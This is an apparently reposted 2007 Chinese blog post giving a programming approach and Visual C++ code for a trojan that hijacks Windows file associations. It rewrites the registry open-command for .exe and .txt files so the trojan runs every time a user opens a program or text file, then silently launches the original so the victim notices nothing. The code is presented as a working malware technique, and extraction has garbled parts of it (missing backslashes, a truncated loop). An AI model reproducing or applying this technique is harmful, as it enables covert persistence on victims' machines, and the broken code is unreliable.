檔案關聯型木馬的程式設計思路 (轉)

worldblog發表於2007-12-13
檔案關聯型木馬的程式設計思路 (轉)[@more@]

我們知道一般情況下想在開機啟動,就要把程式寫在登錄檔中的

HKEY_CURRENT_USERSoftwareCurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunService

等環境中,由於這個值大家都比較熟悉所以很容易被查出,而且進入了windows保護這些程式是不會執行的,但是如果我們把我們的程式在登錄檔中進行了關聯卻收到了很好的結果。

在登錄檔HKEY_CLASSES_exefileopencommand中的值就是可程式*.exe 的關聯處,預設為“"%1" %*”,如果把這個程式改為我們的程式,那樣的話,每執行一個可執行程式就會執行我們的程式,而不會再執行原有的程式,這樣我們的木馬就起動了,我們要做的工作就是我們的木馬啟動後,再執行原有的程式,這樣對於一般的人來看好像什麼事也沒發生過。好了心動不如行動,我們開始動手做一個吧。

 :namespace prefix = o ns = "urn:schemas-microsoft-com::office" />

l  首先用vc建立一個基於對話方塊的程式srart

在CstartDlg加入公有變數  HANDLE hMutex;防止我們的木馬執行多次。

l  在CStartDlg::OnInitDialog()中加入如下:

  CString str;

  str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得傳入的命令列引數

  const char *Mutex="MyStart";//建立互斥

  hMutex=NULL;

  hMutex=::CreateMutex(false,false,MutexObject);

  if(hMutex!=NULL)

  {

    D err=GetLastError();

 

    if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果發現同一程式已經執行,則退出

 

  }

  if(str!="")

  {

    CString temp;

    char ch;

    int length =str.GetLength();

    for(int i=0;i

  {

    ch=str.GetAt(i);

    if(ch==')

      temp=temp+"";

    else temp=temp+ch;

   

  } 

    temp = temp.Left(temp.GetLength() - 2);

    temp = temp.Mid(1);  //上面的函式是把字串中所有的””變為””

    char str1[]=""%1" %*"; 

    ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand",

    REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

  // 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。

    ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執行原有的程式

      }

//在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的

  TCHAR str2[256];

  // 得到程式全路徑名

  GetModuleFileName( NULL, str2, 255 );

  strcat(str2," "%1" %*");

    ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand",

    REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程式一執行就會執行我們的start 程式了。即使是在模式下只要執行可執行程式就會執行我們的程式了。

 

同樣的我們也可以將其它檔案進行關聯,例如將文字檔案進行關聯,在CStartDlg::OnInitDialog()中重新加下程式碼

  CString str;

  str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得傳入的命令列引數

  const char *MutexObject="MyStart";//建立互斥物件

  hMutex=NULL;

  hMutex=::CreateMutex(false,false,MutexObject);

  if(hMutex!=NULL)

  {

    DWORD err=GetLastError();

 

    if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果發現同一程式已經執行,則退出

 

  }

  if(str.Find("txt")!=-1)

  {

    CString temp;

    char ch;

    int length =str.GetLength();

    for(int i=0;i

  {

    ch=str.GetAt(i);

    if(ch==')

      temp=temp+"";

    else temp=temp+ch;

   

  } 

    temp = temp.Left(temp.GetLength() - 2);

    temp = temp.Mid(1);  //上面的函式是把字串中的""變為""

    char str1[]=""%1" %*"; 

 

  // 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。

   ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//執行原有的程式

      }

//在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的

  TCHAR str2[256];

  // 得到程式全路徑名

  GetModuleFileName( NULL, str2, 255 );

  strcat(str2," "%1" %*");

    ::RegSetValue(HKEY_CLASSES_ROOT,"txtfileshellopencommand",

    REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//經過上述過程只要程式一執行就會執行我們的start 程式了。 

  當然了這些程式在自己的機器上執行後還是要恢復的下面的函式就可以幫助進行恢復了

char str2[]="NOTEPAD.EXE %1";

    ::RegSetValue(HKEY_CLASSES_ROOT,"txtfileshellopencommand",

    REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

    char str1[]=""%1" %*";

    ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand",

    REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

  當然了這個程式在下執行比較正常,在下無法開啟桌面上的資料夾,再也就沒什麼問題了。如果誰知道,請告訴我,

sunyuzhe@263


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-992743/,如需轉載,請註明出處,否則將追究法律責任。

相關文章